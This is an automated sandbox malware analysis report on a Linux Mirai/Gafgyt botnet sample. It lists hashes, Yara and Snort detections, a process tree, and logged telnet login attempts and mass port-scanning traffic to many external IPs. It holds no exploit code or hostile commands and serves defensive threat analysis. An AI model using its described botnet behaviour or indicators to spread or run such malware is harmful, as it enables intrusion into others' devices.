Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Linux Analysis Report 1xtO9V8ku8

Overview

General Information

Sample Name:1xtO9V8ku8
Analysis ID:553464
MD5:aac6e25e1d471c889b0ae7b3939e84ed
SHA1:ed2e1aaf171b7bb4d24c543781f7f831fabe1c61
SHA256:408362634ac9615317b22bea3be9caba9a1ba70db48ff41a9fdd27b60074612e
Tags:32elfintel
Infos:

Most interesting Screenshot:

Detection

Gafgyt Mirai
Score:100
Range:0 - 100
Whitelisted:false

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected Mirai
Multi AV Scanner detection for submitted file
Yara detected Gafgyt
Malicious sample detected (through community Yara rule)
Connects to many ports of the same IP (likely port scanning)
Sample is packed with UPX
Uses known network protocols on non-standard ports
Sample contains only a LOAD segment without any section mappings
Yara signature match
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Executes the "systemctl" command used for controlling the systemd system and service manager
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Sample tries to kill a process (SIGKILL)
Deletes log files
Executes commands using a shell command-line interpreter

Classification

Analysis Advice

All HTTP servers contacted by the sample do not answer. Likely the sample is an old dropper which does no longer work
Some HTTP requests failed (404). It is likely the sample will exhibit less behavior

General Information

Joe Sandbox Version:34.0.0 Boulder Opal
Analysis ID:553464
Start date:14.01.2022
Start time:23:55:55
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 7m 31s
Hypervisor based Inspection enabled:false
Report type:light
Sample file name:1xtO9V8ku8
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Detection:MAL
Classification:mal100.troj.evad.lin@0/53@0/0
Warnings:
Show All
  • Report size exceeded maximum capacity and may have missing network information.
  • TCP Packets have been reduced to 100

Process Tree

  • system is lnxubuntu20
  • 1xtO9V8ku8 (PID: 5223, Parent: 5119, MD5: aac6e25e1d471c889b0ae7b3939e84ed) Arguments: /tmp/1xtO9V8ku8
  • systemd New Fork (PID: 5374, Parent: 1)
  • logrotate (PID: 5374, Parent: 1, MD5: ff9f6831debb63e53a31ff8057143af6) Arguments: /usr/sbin/logrotate /etc/logrotate.conf
    • gzip (PID: 5415, Parent: 5374, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip
    • sh (PID: 5416, Parent: 5374, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "
      • sh New Fork (PID: 5417, Parent: 5416)
      • invoke-rc.d (PID: 5417, Parent: 5416, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: invoke-rc.d --quiet cups restart
        • runlevel (PID: 5418, Parent: 5417, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /sbin/runlevel
        • systemctl (PID: 5420, Parent: 5417, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-enabled cups.service
        • ls (PID: 5421, Parent: 5417, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /etc/rc[S2345].d/S[0-9][0-9]cups
        • systemctl (PID: 5422, Parent: 5417, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active cups.service
    • gzip (PID: 5423, Parent: 5374, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip
    • sh (PID: 5424, Parent: 5374, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog
      • sh New Fork (PID: 5427, Parent: 5424)
      • rsyslog-rotate (PID: 5427, Parent: 5424, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate
        • systemctl (PID: 5428, Parent: 5427, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service
  • systemd New Fork (PID: 5375, Parent: 1)
  • install (PID: 5375, Parent: 1, MD5: 55e2520049dc6a62e8c94732e36cdd54) Arguments: /usr/bin/install -d -o man -g man -m 0755 /var/cache/man
  • systemd New Fork (PID: 5409, Parent: 1)
  • find (PID: 5409, Parent: 1, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: /usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete
  • systemd New Fork (PID: 5419, Parent: 1)
  • mandb (PID: 5419, Parent: 1, MD5: 1dda5ea0027ecf1c2db0f5a3de7e6941) Arguments: /usr/bin/mandb --quiet
  • cleanup

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
1xtO9V8ku8SUSP_ELF_LNX_UPX_Compressed_FileDetects a suspicious ELF binary with UPX compressionFlorian Roth
  • 0x976a:$s2: $Id: UPX
  • 0x971b:$s3: $Info: This file is packed with the UPX executable packer

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_Mirai_12Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5228.1.000000005e833d9b.000000008327e148.rw-.sdmpSUSP_XORed_MozillaDetects suspicious XORed keyword - Mozilla/5.0Florian Roth
    • 0x728:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x7a0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x818:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x890:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x908:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xb90:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xbe8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc40:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc98:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xcf0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    5223.1.000000005e833d9b.000000008327e148.rw-.sdmpSUSP_XORed_MozillaDetects suspicious XORed keyword - Mozilla/5.0Florian Roth
    • 0x728:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x7a0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x818:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x890:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x908:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xb90:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xbe8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc40:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc98:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xcf0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    5225.1.000000005e833d9b.000000006a7ff293.rw-.sdmpSUSP_XORed_MozillaDetects suspicious XORed keyword - Mozilla/5.0Florian Roth
    • 0x728:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x7a0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x818:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x890:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x908:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xb90:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xbe8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc40:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc98:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xcf0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    5227.1.000000005e833d9b.000000008327e148.rw-.sdmpSUSP_XORed_MozillaDetects suspicious XORed keyword - Mozilla/5.0Florian Roth
    • 0x728:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x7a0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x818:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x890:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x908:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xb90:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xbe8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc40:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc98:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xcf0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    5226.1.000000005e833d9b.000000006a7ff293.rw-.sdmpSUSP_XORed_MozillaDetects suspicious XORed keyword - Mozilla/5.0Florian Roth
    • 0x728:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x7a0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x818:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x890:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x908:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xb90:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xbe8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc40:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc98:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xcf0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    Click to see the 25 entries

    Jbx Signature Overview

    Click to jump to signature section

    Show All Signature Results

    AV Detection:

    barindex
    Multi AV Scanner detection for submitted fileShow sources
    Source: 1xtO9V8ku8Virustotal: Detection: 21%Perma Link
    Source: 1xtO9V8ku8ReversingLabs: Detection: 34%

    Networking:

    barindex
    Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
    Source: TrafficSnort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41618
    Source: TrafficSnort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41618
    Source: TrafficSnort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41634
    Source: TrafficSnort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41634
    Source: TrafficSnort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41636
    Source: TrafficSnort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41636
    Source: TrafficSnort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41646
    Source: TrafficSnort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41646
    Source: TrafficSnort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41652
    Source: TrafficSnort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41652
    Source: TrafficSnort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41666
    Source: TrafficSnort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41666
    Source: TrafficSnort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41672
    Source: TrafficSnort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41672
    Source: TrafficSnort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41688
    Source: TrafficSnort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41688
    Source: TrafficSnort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41692
    Source: TrafficSnort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41692
    Source: TrafficSnort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41698
    Source: TrafficSnort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41698
    Source: TrafficSnort IDS: 404 ICMP Destination Unreachable Protocol Unreachable 66.76.97.117: -> 192.168.2.23:
    Connects to many ports of the same IP (likely port scanning)Show sources
    Source: global trafficTCP traffic: 104.244.72.234 ports 64938,3,4,6,8,9
    Uses known network protocols on non-standard portsShow sources
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 44114 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 44114 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 44114 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59880 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58706 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56064 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60001 -> 58706
    Source: unknownNetwork traffic detected: HTTP traffic on port 56064 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56064 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 39846 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 33692 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60728 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60728 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55434 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50984 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58560 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60001 -> 58560
    Source: unknownNetwork traffic detected: HTTP traffic on port 55434 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50984 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 57546 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 42466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 42466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 46714 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41008 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52250 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41008 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45652 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52606 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 39416 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 43962 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 43962 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 43962 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 43962 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45660 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 43962 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52068 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52068 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52068 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 47086 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60001 -> 47086
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52068 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 46314 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41138 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58916 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58916 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41138 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58916 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
    Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
    Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 186.118.144.241:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 218.75.52.213:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 39.21.179.73:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 44.193.126.40:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 112.101.103.97:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 69.124.77.13:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 116.153.19.31:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 51.186.223.15:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 116.64.27.188:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 110.102.99.206:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 42.203.175.81:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 101.139.120.77:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 109.114.128.165:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 89.25.6.219:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 18.71.167.138:2323
    Source: global trafficTCP traffic: 192.168.2.23:4898 -> 13.255.216.141:2323
    Source: global trafficTCP traffic: 192.168.2.23:48182 -> 104.244.72.234:64938
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 162.110.144.241:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 132.185.105.3:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 159.128.177.243:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 32.249.225.241:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 176.194.144.10:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 27.152.49.41:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 197.168.236.244:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 49.137.82.179:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 45.86.170.89:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 37.13.79.220:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 203.205.60.238:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 164.189.143.182:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 167.109.110.144:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 68.81.121.113:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 198.146.130.219:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 19.143.208.84:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 38.69.87.224:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 204.104.22.47:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 102.250.71.147:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 108.135.101.228:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 42.243.58.157:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 162.148.27.23:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 205.131.142.3:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 205.43.213.243:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 184.19.80.1:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 170.116.148.215:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 209.194.78.181:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 49.187.246.24:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 58.80.145.74:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 92.173.70.84:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 27.123.39.83:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 9.122.235.232:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 98.202.128.107:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 62.61.90.9:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 101.20.99.68:60001
    Source: global trafficTCP traffic: 192.168.2.23:4130 -> 118.127.188.237:60001
